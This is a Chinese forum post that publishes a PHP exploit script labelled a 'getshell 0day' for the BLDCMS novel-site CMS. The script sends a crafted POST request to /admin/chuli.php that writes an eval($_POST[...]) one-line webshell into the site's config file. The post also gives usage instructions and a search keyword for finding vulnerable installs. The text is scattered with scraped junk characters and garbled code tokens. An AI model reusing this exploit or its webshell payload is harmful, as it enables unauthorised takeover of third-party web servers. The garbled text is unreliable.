BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
! l  b3 N" r4 O8 z8 y

* q% V: D0 r" e: s  d3 m话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

) D9 i; X; I6 Z. V; a既然都有人发了 我就把我之前写好的EXP放出来吧
3 ~6 K* A1 t' X/ b6 q* \5 B9 c
view source print?01.php;">
02.<!--?php
03.echo "-------------------------------------------------------------------
# W4 y! E6 }- j- L- A04.
- h) A0 j; \2 t1 X; ?2 I2 K0 L& f05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
8 h4 n: {  \- ?6 ]08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
9 N: \0 u  k5 m1 }12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
# D8 k3 {/ P$ _% s1 u- A# k13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
# Y( k+ d+ w/ L9 A: k* [18.$dir=$argv[2];
19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
; F; x' r2 r& E$ k1 w22.{exit("请输入参数");}
23.else
  Q7 F% V& Q2 M, g24.{
0 r5 f" i9 r  F9 Y3 P) d' V8 ]25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
( [- ]: U9 Z+ ]* q5 [5 ]30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
0 f# `& X2 A# A* U' C4 x33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
! g! I8 g% _6 U6 N34.$header .= "User-Agent: MSIE\r\n";
, K! T, C' `  e( N+ g3 A35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
5 l$ k3 ~+ r# D! A/ T37.$header .= "Connection: Close\r\n";
. d6 M4 j8 F& [0 c6 w38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
4 L5 t2 Z$ d/ A40.$fp = fsockopen($url, 80,$errno,$errstr,15);
/ K5 ?( j' G9 x" [: D* c& @/ l41.if (!$fp)
42.{
+ q1 q+ [, l8 B% n: v. n& X43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
2 \. `& S$ D; f  Z. B0 t47.else
+ @! c) @9 q6 G4 r( J! L48.{
" A; P$ Q6 {1 r( P& w49.$receive = '';
50.while (!feof($fp)) {
! N4 n! }- B3 M  {& T! s4 I51.$receive .= @fgets($fp, 1000);
52.}
4 W+ D1 l4 y3 b0 ]53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
' @, R8 ^  ]7 }# `  O, g# h55.
$ F# q4 S: Z0 o1 h8 c0 i56.GPC是否=off)";
57.}}
58.}
59.}
60.getshell($url,$pass);
61.?-->

5 R1 F+ \7 [5 I1 @: ]0 x: p

by 数据流